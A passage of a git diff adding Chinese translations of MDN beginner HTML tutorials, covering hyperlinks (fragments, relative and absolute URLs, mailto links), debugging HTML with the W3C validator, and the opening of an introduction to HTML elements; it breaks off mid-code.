+<p>超链接除了可以链接到文档外,也可以链接到HTML文档的特定部分(被称为<strong>文档片段</strong>)<span>。要做到这一点,你必须首先给要链接到的元素分配一个</span>{{htmlattrxref("id")}}<span>属性。例如,如果你想链接到一个特定的标题,可以这样做:</span></p> + +<pre class="brush: html notranslate"><h2 id="Mailing_address">邮寄地址</h2></pre> + +<p>然后链接到那个特定的<code>id</code>,您可以在URL的结尾使用一个井号指向它,例如:</p> + +<pre class="brush: html notranslate"><p>要提供意见和建议,请将信件邮寄至 <a href="contacts.html#Mailing_address">我们的地址</a>。</p></pre> + +<p>你甚至可以在同一份文档下,通过链接文档片段,来链接到同一份文档的另一部分:</p> + +<pre class="brush: html notranslate"><p>本页面底部可以找到 <a href="#Mailing_address">公司邮寄地址</a>。</p></pre> + +<h3 id="绝对URL和相对URL">绝对<span><strong>URL</strong></span>和相对<span><strong>URL</strong></span></h3> + +<p><span>你可能会在网络上遇到两个术语,<strong>绝对URL</strong>和<strong>相对URL</strong><em>(或者称为,<strong>绝对链接</strong>和<strong>相对链接</strong>)</em>:</span></p> + +<p><strong>绝对URL</strong>:指向由其在Web上的绝对位置定义的位置,包括 {{glossary("protocol")}}(协议) 和 {{glossary("domain name")}}(域名)。像下面的例子,如果<code>index.html</code>页面上传到<code>projects</code>这一个目录。并且<code>projects</code>目录位于web服务站点的根目录,web站点的域名为<code>http://www.example.com</code>,那么这个页面就可以通过<code>http://www.example.com/projects/index.html</code>访问(或者通过<code>http://www.example.com/projects/</code>来访问,因为在没有指定特定的URL的情况下,大多数web服务会默认访问加载<code>index.html</code>这类页面)</p> + +<p>不管绝对URL在哪里使用,它总是指向确定的相同位置。</p> + +<p><strong>相对URL</strong>:指向与您链接的文件相关的位置,更像我们在前面一节中所看到的位置。例如,如果我们想从示例文件链接<code>http://www.example.com/projects/index.html</code>转到相同目录下的一个PDF文件,URL就是文件名URL——例如<code>project-brief.pdf</code>——没有其他的信息要求。如果PDF文件能够在<code>projects</code>的子目录<code>pdfs</code>中访问到,相对路径就是<code>pdfs/project-brief.pdf</code>(对应的绝对URL是<code>http://www.example.com/projects/pdfs/project-brief.pdf</code>)</p> + +<p>一个相对URL将指向不同的位置,这取决于它所在的文件所在的位置——例如,如果我们把<code>index.html</code>文件从<code>projects</code>目录移动到Web站点的根目录(最高级别,而不是任何目录中),里面的<code>pdfs/project-brief.pdf</code>相对URL将会指向<code>http://www.example.com/pdfs/project-brief.pdf</code>,而不是<code>http://www.example.com/projects/pdfs/project-brief.pdf</code></p> + +<p>当然,<code>project-brief.pdf</code>文件和<code>pdfs</code>文件夹的位置不会因为您移动了<code>index.html</code>文件而突然发生变化——这将使您的链接指向错误的位置,因此如果单击它,它将无法工作。你得小心点!</p> + +<h2 id="链接最佳实践">链接最佳实践</h2> + +<p>下面是一些在编写链接元素时可以遵循的最佳实践。</p> + +<ul> +</ul> + +<h3 id="使用清晰的链接措辞">使用清晰的链接措辞</h3> + +<p>把链接放在你的页面上很容易。这还不够。我们需要让所有的读者都可以使用链接,不管他们当前的环境和哪些工具。例如:</p> + +<ul> + <li>使用屏幕阅读器的用户喜欢从页面上的一个链接跳到另一个链接,并且脱离上下文来阅读链接。</li> + <li>搜索引擎使用链接文本来索引目标文件,所以在链接文本中包含关键词是一个很好的主意,以有效地描述与之相关的信息。</li> + <li>读者往往会浏览页面而不是阅读每一个字,他们的眼睛会被页面的特征所吸引,比如链接。他们会找到描述性的链接。</li> +</ul> + +<p>下面是一个具体的例子:</p> + +<p><em><strong>好的</strong>链接文本:</em> <a href="https://firefox.com/">下载Firefox</a></p> + +<pre class="brush: html notranslate"><p><a href="https://firefox.com/"> + 下载Firefox +</a></p></pre> + +<p><em><strong>不好的</strong>链接文本:</em> <a href="https://firefox.com/">点击这里</a>下载Firefox</p> + +<pre class="brush: html notranslate"><p><a href="https://firefox.com/"> + 点击这里 +</a> +下载Firefox</p> +</pre> + +<p>其他提示:</p> + +<ul> + <li>不要重复URL作为链接文本的一部分 ——URL看起来很丑,当屏幕朗读器一个字母一个字母的读出来的时候听起来就更丑了。</li> + <li>不要在链接文本中说“链接”或“链接到”——它只是噪音。屏幕阅读器告诉人们有一个链接。可视化用户也会知道有一个链接,因为链接通常是用不同的颜色设计的,并且存在下划线(这个惯例一般不应该被打破,因为用户习惯了它。)</li> + <li>保持你的链接标签尽可能短——长链接尤其惹恼屏幕阅读器用户,他们必须听到整件事读出来。</li> +</ul> + +<h3 id="尽可能使用相对链接">尽可能使用相对链接</h3> + +<p>从上面的描述中,您可能认为始终使用绝对链接是一个好主意;毕竟,当页面像相对链接那样移动时,它们不会中断。但是,当链接到同一网站的其他位置时,你应该使用相对链接(当链接到另一个网站时,你需要使用绝对链接):</p> + +<ul> + <li>首先,检查代码要容易得多——相对URL通常比绝对URL短得多,这使得阅读代码更容易。</li> + <li>其次,在可能的情况下使用相对URL更有效。当使用绝对URL时,浏览器首先通过{{glossary("DNS")}}(见<a href="/zh-CN/docs/Learn/Getting_started_with_the_web/How_the_Web_works">万维网是如何工作的</a>)查找服务器的真实位置,然后再转到该服务器并查找所请求的文件。另一方面,相对URL,浏览器只在同一服务器上查找被请求的文件。因此,如果你使用绝对URL而不是相对URL,你就会不断地让你的浏览器做额外的工作,这意味着它的效率会降低。</li> +</ul> + +<h3 id="链接到非HTML资源_——留下清晰的指示">链接到非HTML资源 ——留下清晰的指示</h3> + +<p>当链接到一个需要下载的资源(如PDF或Word文档)或流媒体(如视频或音频)或有另一个潜在的意想不到的效果(打开一个弹出窗口,或加载Flash电影),你应该添加明确的措辞,以减少任何混乱。如下的例子会让人反感:</p> + +<ul> + <li>如果你是在低带宽连接,点击一个链接,然后就开始下载大文件。</li> + <li>如果你没有安装Flash播放器,点击一个链接,然后突然被带到一个需要Flash的页面。</li> +</ul> + +<p>让我们看看一些例子,看看在这里可以使用什么样的文本:</p> + +<pre class="brush: html notranslate"><p><a href="http://www.example.com/large-report.pdf"> + 下载销售报告(PDF, 10MB) +</a></p> + +<p><a href="http://www.example.com/video-stream/"> + 观看视频(将在新标签页中播放, HD画质) +</a></p> + +<p><a href="http://www.example.com/car-game"> + 进入汽车游戏(需要Flash插件) +</a></p></pre> + +<h3 id="在下载链接时使用_download_属性">在下载链接时使用 download 属性</h3> + +<p>当您链接到要下载的资源而不是在浏览器中打开时,您可以使用 download 属性来提供一个默认的保存文件名(译注:此属性仅适用于<a href="/zh-CN/docs/Web/Security/Same-origin_policy">同源URL</a>)。下面是一个下载链接到Firefox 的 Windows最新版本的示例:</p> + +<pre class="notranslate"><code><a href="https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=zh-CN" + download="firefox-latest-64bit-installer.exe"> + 下载最新的 Firefox 中文版 - Windows(64位) +</a></code></pre> + +<h2 id="主动学习:创建一个导航菜单">主动学习:创建一个导航菜单</h2> + +<p>在这个练习中,我们希望你把一些页面和导航菜单链接起来,创建一个多页面的网站。这是创建网站的一种常见方式——每一页都使用相同的页面结构,包括相同的导航菜单,所以当链接被点击时,它给人的印象是你停留在同一个地方,不同的内容正在被提出来。</p> + +<p>您需要将以下四页的本地副本放在同一目录中。 (see the <a href="https://github.com/roy-tian/learning-area/tree/master/html/introduction-to-html/navigation-menu-start">navigation-menu-start</a> directory if you want a the full listing):</p> + +<ul> + <li><a href="https://github.com/roy-tian/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/index.html">index.html</a></li> + <li><a href="https://github.com/roy-tian/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/projects.html">projects.html</a></li> + <li><a href="https://github.com/roy-tian/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/pictures.html">pictures.html</a></li> + <li><a href="https://github.com/roy-tian/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/social.html">social.html</a></li> +</ul> + +<p>你应该:</p> + +<ol> + <li>在一个页面上的指定位置添加一个无序列表,其中包含要链接到的页面的名称。导航菜单通常只是一个链接列表,因此这在语义上是确定的。</li> + <li>将每个页面名称转换为该页的链接。</li> + <li>将导航菜单复制到每个页面。</li> + <li>在每一页上,只删除同一页的链接——一个页面包含自己的链接是令人困惑和毫无意义的,而缺少链接会对你当前的页面起到很好的视觉提示作用。</li> +</ol> + +<p>最终的例子应该是这样的:</p> + +<p><img alt="简单的HTML导航菜单,包含主页、图片、项目、社交四个项目。" src="https://mdn.mozillademos.org/files/17395/navigation_example_cn.png" style="display: block; margin: 0 auto;"></p> + +<div class="note"> +<p><strong>注意</strong>: 如果你卡住了,或者不确定你是否正确,你可以检查导航菜单上的目录,看看正确的答案。</p> +</div> + +<h2 id="电子邮件链接">电子邮件链接</h2> + +<p>当点击一个链接或按钮时,打开一个新的电子邮件发送信息而不是连接到一个资源或页面,这种情况是可能做到的。这样做是使用{{HTMLElement("a")}}元素和<code>mailto</code>:URL的方案。<br> + 其最基本和最常用的使用形式为一个<code>mailto</code>:link (链接),链接简单说明收件人的电子邮件地址。例如:</p> + +<pre class="brush: html notranslate"><a href="mailto:nowhere@mozilla.org">向 nowhere 发邮件</a> +</pre> + +<p>这会创建一个链接,看起来像这样: <a href="mailto:nowhere@mozilla.org">向 nowhere 发邮件</a>。</p> + +<p>实际上,邮件地址甚至是可选的。如果你忘记了(也就是说,你的{{htmlattrxref("href", "a")}}仅仅只是简单的"<code>mailto:</code>"),一个新的发送电子邮件的窗口也会被用户的邮件客户端打开,只是没有收件人的地址信息,这通常在“分享”链接是很有用的,用户可以发送给他们选择的地址邮件</p> + +<h3 id="具体细节">具体细节</h3> + +<p>除了电子邮件地址,您还可以提供其他信息。事实上,任何标准的邮件头字段可以被添加到你提供的邮件URL。 其中最常用的是主题(subject)、抄送(cc)和主体(body) (这不是一个真正的头字段,但允许您为新邮件指定一个短内容消息)。 每个字段及其值被指定为查询项。</p> + +<p>下面是一个包含cc、bcc、主题和主体的示例:</p> + +<pre class="brush: html notranslate"><a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com&subject=The%20subject%20of%20the%20email&body=The%20body%20of%20the%20email"> + Send mail with cc, bcc, subject and body +</a></pre> + +<div class="note"> +<p><strong>注意:</strong> 每个字段的值必须是URL编码的。 也就是说,不能有非打印字符(不可见字符比如制表符、换行符、分页符)和空格 <a href="http://en.wikipedia.org/wiki/Percent-encoding">percent-escaped</a>. 同时注意使用问号(<code>?</code>)来分隔主URL与参数值,以及使用&符来分隔<code>mailto:</code>中的各个参数。 这是标准的URL查询标记方法。阅读 <a href="/zh-CN/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data#GET_方法">GET 方法</a> 以了解哪种URL查询标记方法是更常用的。</p> +</div> + +<p>这里有一些其他的示例<code>mailto</code>链接:</p> + +<ul> + <li><a href="mailto:">mailto:</a></li> + <li><a href="mailto:nowhere@mozilla.org">mailto:nowhere@mozilla.org</a></li> + <li><a href="mailto:nowhere@mozilla.org,nobody@mozilla.org">mailto:nowhere@mozilla.org,nobody@mozilla.org</a></li> + <li><a href="mailto:nowhere@mozilla.org?cc=nobody@mozilla.org">mailto:nowhere@mozilla.org?cc=nobody@mozilla.org</a></li> + <li><a href="mailto:nowhere@mozilla.org?cc=nobody@mozilla.org&subject=This%20is%20the%20subject">mailto:nowhere@mozilla.org?cc=nobody@mozilla.org&subject=This%20is%20the%20subject</a></li> +</ul> + +<h2 id="小结">小结</h2> + +<p>这就是链接!当您开始查看样式时,您将在稍后的课程中返回链接。接下来是HTML,我们将返回文本语义,并查看一些更高级/不寻常的功能,您会发现有用的-高级文本格式是您的下一站。</p> + +<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/Getting_started">开始学习 HTML</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">“头”里有什么?HTML 元信息</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 文字处理初步</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">创建超链接</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">高级文字格式</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/文件和网站结构">文档和站点结构</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">HTML 调试</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">课程测验:为信件排版</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">课程测验:构建内容丰富的网页</a></li> +</ul> diff --git a/files/zh-cn/learn/html/introduction_to_html/debugging_html/index.html b/files/zh-cn/learn/html/introduction_to_html/debugging_html/index.html new file mode 100644 index 0000000000..86ebf29c63 --- /dev/null +++ b/files/zh-cn/learn/html/introduction_to_html/debugging_html/index.html @@ -0,0 +1,179 @@ +--- +title: HTML 调试 +slug: learn/HTML/Introduction_to_HTML/Debugging_HTML +tags: + - Debug + - HTML + - W3C + - 初学者 + - 指南 + - 调试 + - 错误 + - 验证 +translation_of: Learn/HTML/Introduction_to_HTML/Debugging_HTML +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary">HTML 优雅明了,但要是出了错,你会不会一头雾水呢,本节将介绍一些查找和修复 HTML 错误的工具。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>阅读并理解 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML 入门</a>、<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 文字处理初步</a> 和 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">创建超链接</a> 等文章,熟悉 HTML 的基本概念。</td> + </tr> + <tr> + <th scope="row">学习目标:</th> + <td>学习调试工具的基础用法,以查找 HTML 中的错误。</td> + </tr> + </tbody> +</table> + +<h2 id="调试并不可怕">调试并不可怕</h2> + +<p>写代码通常都是按部就班的,但是一旦犯了错,可怕的代码问题就出现了:或彻底罢工,或得不到正确结果。比如,以下窗口显示了:用 <a href="https://www.rust-lang.org/">Rust</a> 编写的一个小程序在 {{glossary("compile", "编译")}} 时得到的出错信息:</p> + +<p><img alt="一个控制台窗口,显示了一个rust工程编译时的出错信息。(println宏少一个引号)" src="https://mdn.mozillademos.org/files/16527/03.gif" style="display: block; height: 463px; margin: 0px auto; width: 658px;">这里错误信息比较容易理解:"unterminated double quote string",即"双引号字符串未闭合"。错误列表中可以看到 <code>println!(Hello, world!");</code> 这里少一个双引号,然而当程序规模变大时,错误信息也会变得更复杂和更难解释,同时对于 Rust 新手而言,上述提示也是找不到北。</p> + +<p>调试其实没有那么可怕,写代码和调试的关键其实是:熟悉语言本身和相关工具。</p> + +<h2 id="HTML_和调试">HTML 和调试</h2> + +<p>HTML 并不像 Rust 那么难以理解,浏览器并不会将 HTML 编译成其它形式,而是直接解析并显示结果(称之为解释,而非编译)。可以说 HTML 的 {{glossary("element", "元素")}} 语法比 Rust、{{glossary("JavaScript")}} 或 {{glossary("Python")}} 这样“真正的编程语言”更容易理解。浏览器解析 HTML 的过程比编程语言的编译运行的过程要<strong>宽松</strong>得多,但这是一把双刃剑。</p> + +<h3 id="宽松的代码">宽松的代码</h3> + +<p>宽松是什么意思呢?通常写错代码会带来以下两种主要类型的错误:</p> + +<ul> + <li><strong>语法错误</strong>:由于拼写错误导致程序无法运行,就像上面的 Rust 示例。通常熟悉语法并理解错误信息后很容易修复。</li> + <li><strong>逻辑错误:</strong>不存在语法错误,但代码无法按预期运行。通常逻辑错误比语法错误更难修复,因为无法得到指向错误源头的信息。</li> +</ul> + +<p>HTML 本身不容易出现语法错误,因为浏览器是以宽松模式运行的,这意味着即使出现语法错误浏览器依然会继续运行。浏览器通常都有内建规则来解析书写错误的标记,所以即使与预期不符,页面仍可显示出来。当然,是存在隐患的。</p> + +<div class="note"> +<p><strong>注:</strong>HTML 之所以以宽松的方式进行解析,是因为 Web 创建的初心就是:人人可发布内容,不去纠结代码语法。如果 Web 以严格的风格起步,也许就不会像今天这样流行了。</p> +</div> + +<h3 id="主动学习:研究宽容的代码风格">主动学习:研究宽容的代码风格</h3> + +<p>现在来研究 HTML 代码的宽松特性。</p> + +<ol> + <li>首先,下载并保存 <a href="https://github.com/roy-tian/learning-area/blob/master/html/introduction-to-html/debugging-html/debug-example.html">debug-example.html</a>。代码中故意留了一些错误,以便探究(这里的 HTML 标记写成了 <strong>糟糕的格式</strong>,与 <strong>良好的格式</strong> 相反)。</li> + <li>下一步,在浏览器中打开,可以看到:<img alt="一个简单的HTML文档,但其中包含一些常见的HTML错误,比如:未关闭的元素、嵌套混乱的元素、未关闭的属性。" src="https://mdn.mozillademos.org/files/16528/%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7_2019-02-22_06.28.07.png" style="display: block; margin: 0px auto;"></li> + <li>看起来糟透了,我们到源代码中寻找原因(只列出 <code>body</code> 部分): + <pre class="brush: html notranslate"><h1>HTML 调试示例</h1> + +<p>什么使得 HTML 出错? + +<ul> + <li>未闭合的元素:如果元素<strong>没有正确的结束标记,那么将影响下方整个区域,这不是你期望的。 + + <li>错误嵌套元素:正确进行嵌套是一项重要的编码习惯。<strong>重点(strong)<em>重点强调(strongly emphasised)?</strong>这又是什么鬼?</em> + + <li>未闭合的属性:另一种 HTML 常见错误。来看一个示例:<a href="https://www.mozilla.org/>Mozilla 主页链接</a> +</ul> +</pre> + </li> + <li>以下是问题清单: + <ul> + <li>{{htmlelement("p","段落(Paragraph)")}} 和 {{htmlelement("li","列表项(list item)")}} 元素没有结束标签。但是由于元素的结束和另一个的开始很容易推断出来,因此上图中并没有太严重的渲染错误。</li> + <li>第一个 {{htmlelement("strong")}} 元素没有结束标签。这就严重了,因为该元素结束的位置难以确定。事实上所有剩余文本都加粗了。</li> + <li>一下嵌套有问题:<code><strong>重点(strong)<em>重点强调(strongly emphasised)?</strong>这又是什么鬼?</em></code>。浏览器很难做出正确解释,理由同上。</li> + <li>{{htmlattrxref("href","a")}} 属性缺少了一个双引号。从而导致了一个最严重的问题:整个链接完全没有渲染出来。</li> + </ul> + </li> + <li>下面暂时忽略源代码中的标记,先看一下浏览器渲染出的标记。打开浏览器的开发者工具。如果不太熟悉,请先阅读 <a href="/zh-CN/docs/Learn/Discover_browser_developer_tools">浏览器开发工具概览</a>。</li> + <li>在 DOM 查看器中可以看到渲染的标记:<img alt="Firefox控制台中的HTML检查器,可标亮元素,(图中标亮了“什么使得HTML出错?”)可以看到浏览器自动补齐了</p>关闭标签" src="https://mdn.mozillademos.org/files/16529/html-inspector.png" style="display: block; height: 1214px; margin: 0px auto; width: 1700px;"></li> + <li>通过 DOM 查看器可以清楚地看到,浏览器已经尝试修补代码错误(我们尝试了 Firefox,其他现代浏览器也应给出同样结果): + <ul> + <li>段落和列表元素加上了关闭标签。</li> + <li>第一个 <code><strong></code> 没有明确的关闭标签,因此浏览器为之后所有独立块都补全了 <code><strong></strong></code>。</li> + <li>浏览器是这样修补嵌套错误的: + <pre class="brush: html notranslate"><strong>重点(strong) + <em>重点强调(strongly emphasised)?</em> +</strong> +<em>这又是什么鬼?</em></pre> + </li> + <li>删除整个缺少双引号的链接。最后一个列表项就成了: + <pre class="brush: html notranslate"><li> + <strong>未闭合的属性:另一种 HTML 常见错误。来看一个示例:</strong> +</li></pre> + </li> + </ul> + </li> +</ol> + +<h3 id="HTML_验证">HTML 验证</h3> + +<p>阅读以上示例后,你发现保持良好 HTML 格式的重要性。那么应该如何做呢?以上示例规模较小,查找错误还不难,但是一个非常庞大、复杂的 HTML 文档呢?</p> + +<p>最好的方法就是让你的HTML页面通过 <a href="https://validator.w3.org/">Markup Validation Service</a>。由 W3C(制定 HTML、CSS 和其他网络技术标准的组织) 创立并维护的标记验证服务。把一个 HTML 文档加载至本网页并运行 ,网页会返回一个错误报告。</p> + +<p><img alt="The HTML validator homepage" src="https://mdn.mozillademos.org/files/12441/validator.png" style="display: block; margin: 0 auto;"></p> + +<p>网页可以接受网址、上传一个 HTML 文档,或者直接输入一些 HTML 代码。</p> + +<h3 id="主动学习:验证_HTML_文档">主动学习:验证 HTML 文档</h3> + +<p>不妨用上文的 <a href="https://github.com/roy-tian/learning-area/blob/master/html/introduction-to-html/debugging-html/debug-example.html">debug-example.html</a> 尝试一下:</p> + +<ol> + <li>在浏览器中打开 <a href="https://validator.w3.org/">Markup Validation Service</a> 。</li> + <li>选择 <a href="https://validator.w3.org/#validate_by_input">Validate by Direct Input</a> 标签。</li> + <li>将整个示例文档的代码(而不仅仅是<code>body</code>部分)复制粘贴到正中的文本框内。</li> + <li><em>点击 </em><strong>Check</strong><em> 按钮。</em></li> +</ol> + +<p>将返回一个包含错误和其它信息的列表。</p> + +<p><img alt="W3C验证工具为本示例给出的验证结果。" src="https://mdn.mozillademos.org/files/16530/validation-result.png" style="display: block; margin: 0px auto;"></p> + +<h4 id="错误信息分析">错误信息分析</h4> + +<p>错误信息一般都是有用的,也有没用的,有一些经验后你就能够分析并修复这些错误。下面来观察这些错误信息。可以看到每条信息都对应一个行号和一条信息,使得定位错误更方便。</p> + +<ul> + <li>End tag <code>li</code> implied, but there were open elements(需要 <code>li</code> 的结束标签,但又开始了新的元素)(共出现 2 次):这条信息表明有开始标签必须有结束标签,必须出现结束标签的地方却没有找到它。行/列信息指出结束标签必须出现的位置的第一行,这一线索已经足够明显了。</li> + <li>Unclosed element <code>strong</code>(未闭合元素 <code>strong</code> ):非常容易理解,{{htmlelement("strong")}} 元素没有闭合,行/列信息表明了它的位置。</li> + <li>End tag <code>strong</code> violates nesting rules(结束标签 <code>strong</code> 违反了嵌套规则):指出了错误嵌套的元素,行/列信息表明了它的位置。</li> + <li>End of file reached when inside an attribute value. Ignoring tag(在属性值内达到文件末尾。忽略标签): 这个比较难懂,它说的是在某个地方有一个属性的值格式有误,估计是在文件末尾附近,因为文件的结尾出现在了一个属性值里。事实上浏览器没有渲染超链接已经是一个很明显的线索了。</li> + <li>End of file seen and there were open elements(文件结尾有未闭合的元素):这个略有歧义,但基本上表明了有元素没有正确闭合。行号指向文件最后几行,且错误信息给出了一个这种错误的案例: + <pre class="notranslate">来看一个示例:<a href="https://www.mozilla.org/>Mozilla 主页链接</a> ↩ </ul>↩ </body>↩</html></pre> + + <div class="note"> + <p><strong>注:</strong>属性缺少结束引号会导致元素无法闭合。因为文档所有剩余部分(直到文档某处出现一个引号)都将被解析为属性的内容。</p> + </div> + </li> + <li>Unclosed element <code>ul</code>(未闭合元素 <code>ul</code>):这个意义不大,因为 {{htmlelement("ul")}} 已经正确闭合了。出现这个错误是因为 {{htmlelement("a")}} 元素没有右引号而没有闭合。</li> +</ul> + +<p><span>如果你不能一次弄懂所有的错误,别着急,可以试试先修复那些已经弄懂的,再申请验证,看看剩下哪些错误。有时候先修复的错误可能让你摆脱后面一系列的错误,因为一个小问题可能引发一连串错误,就像多米诺骨牌。</span></p> + +<p><span>所有错误都修复之后会得到以下输出:</span></p> + +<p><img alt="W3C站点上HTML通过验证的横幅" src="https://mdn.mozillademos.org/files/16531/valid-html-banner.png" style="display: block; height: 96px; margin: 0px auto; width: 996px;"></p> + +<h2 id="小结">小结</h2> + +<p>以上就是 HTML 调试的一篇入门介绍,同时对于调试 CSS 和 JavaScript 也有帮助,或者你职业生涯中的任一门语言。这也是 HTML 学习一章的最后一节,接下来是两个小测试,点击“下一页”来小试牛刀吧。</p> + +<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/Getting_started">开始学习 HTML</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">“头”里有什么?HTML 元信息</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 文字处理初步</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">创建超链接</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">高级文字格式</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/文件和网站结构">文档和站点结构</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">HTML 调试</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">课程测验:为信件排版</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">课程测验:构建内容丰富的网页</a></li> +</ul> diff --git a/files/zh-cn/learn/html/introduction_to_html/getting_started/index.html b/files/zh-cn/learn/html/introduction_to_html/getting_started/index.html new file mode 100644 index 0000000000..34fa761a4e --- /dev/null +++ b/files/zh-cn/learn/html/introduction_to_html/getting_started/index.html @@ -0,0 +1,683 @@ +--- +title: 开始学习 HTML +slug: learn/HTML/Introduction_to_HTML/Getting_started +tags: + - HTML + - 元素 + - 属性 + - 指南 +translation_of: Learn/HTML/Introduction_to_HTML/Getting_started +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary">本文将从 HTML 最基础的部分讲起,对元素(Element)、属性(Attribute)以及可能涉及的一些重要术语进行介绍,并明确它们在语言中所处的位置。本文还会讲解 HTML 元素和页面的组织方式,以及其他一些重要的基本语言特性。学习的过程中,我们会使用 HTML 做一些好玩的事情。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>具备计算机基础知识,安装了<a href="/zh-CN/Learn/Getting_started_with_the_web/Installing_basic_software">基础软件环境</a>,了解基本的<a href="/zh-CN/Learn/Getting_started_with_the_web/Dealing_with_files">文件组织方法</a>。</td> + </tr> + <tr> + <th scope="row">学习目标:</th> + <td>熟悉 HTML 语言的基础知识,掌握几个 HTML 元素的基本用法。</td> + </tr> + </tbody> +</table> + +<h2 id="什么是_HTML">什么是 HTML?</h2> + +<p>{{glossary("HTML")}} (HyperText Markup Language) 不是一门编程语言,而是一种用来告知浏览器如何组织页面的<strong>标记语言</strong>。HTML 可复杂、可简单,一切取决于开发者。它由一系列的<strong>元素({{Glossary("Element", "elements")}})</strong>组成,这些元素可以用来包围不同部分的内容,使其以某种方式呈现或者工作。 一对标签( {{Glossary("Tag", "tags")}})可以为一段文字或者一张图片添加超链接,将文字设置为斜体,改变字号,等等。 例如下面一行内容:</p> + +<pre>我的猫咪脾气爆:)</pre> + +<p>可以将这行文字封装成一个段落(Paragraph){{htmlelement("p")}}元素来使其在单独一行呈现:</p> + +<pre class="brush: html"><p>我的猫咪脾气爆:)</p></pre> + +<div class="note"> +<p><strong>注:</strong>HTML 标签不区分大小写。也就是说,输入标签时既可以使用大写字母也可以使用小写字母。例如,标签 {{htmlelement("title")}} 写作<code><title><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #fff3d4;">、</span></font></code><code><TITLE></code>、<code><Title></code>、<code><TiTlE></code>,等等都可以正常工作。不过,从一致性、可读性等各方面来说,最好仅使用小写字母。</p> +</div> + +<h2 id="剖析一个_HTML_元素">剖析一个 HTML 元素</h2> + +<p>让我们进一步探讨我们的段落元素:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16475/element.png" style="display: block; height: 255px; margin: 0px auto; width: 821px;"></p> + +<p>这个元素的主要部分有:</p> + +<ol> + <li><strong>开始标签</strong>(Opening tag):包含元素的名称(本例为 p),被左、右角括号所包围。表示元素从这里开始或者开始起作用 —— 在本例中即段落由此开始。</li> + <li><strong>结束标签</strong>(Closing tag):与开始标签相似,只是其在元素名之前包含了一个斜杠。这表示着元素的结尾 —— 在本例中即段落在此结束。初学者常常会犯忘记包含结束标签的错误,这可能会产生一些奇怪的结果。</li> + <li><strong>内容</strong>(Content):元素的内容,本例中就是所输入的文本本身。</li> + <li><strong>元素</strong>(Element):开始标签、结束标签与内容相结合,便是一个完整的元素。</li> +</ol> + +<h3 id="主动学习:创建第一个_HTML_元素">主动学习:创建第一个 HTML 元素</h3> + +<p>通过使用标签<code><em></code>和<code></em></code>(在前面放置<code><em></code>打开元素,在后面放置<code></em></code>关闭元素)——这使得行内容变成斜体强调!你可以在“输出”区域中实时查看更改更新。</p> + +<p>如果写错了,可随时按【重置】按钮重新开始,如果实在想不出来,可按【显示答案】按钮查看答案。</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="zh-CN"> + <head> + <meta charset="utf-8"> + <style> + body { font-family: '微软雅黑', Helvetica, Arial, sans-serif; margin: 10px; background: #f5f9fa; } + h2 { font-size: 16px; } + code, textarea { font-family: Consolas, Menlo, monospace; } + .output { min-height: 50px; } + .input { min-height: 100px; width: 95%; } + .a11y-label { margin: 0; text-align: right; font-size: 